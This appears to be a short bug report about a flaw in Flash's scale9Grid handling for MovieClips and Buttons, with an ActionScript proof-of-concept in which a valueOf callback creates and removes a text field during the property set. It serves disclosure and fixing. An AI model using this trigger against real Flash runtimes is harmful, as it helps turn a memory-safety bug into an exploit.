This issue occurs for both MovieClips and Buttons, it needs to be fixed in both classes. A PoC is as follows: var n = { valueOf : func }; var o = {x:n, y:0,width:10, height:10} _global.mc = this var newmc:MovieClip = this.createEmptyMovieClip("mymc",1) mymc.scale9Grid = o function func() { trace("here"); var t = _global.mc.createTextField("test",1,1,1,2,3) t.removeTextField() return 7 } A sample fla and swf is attached.
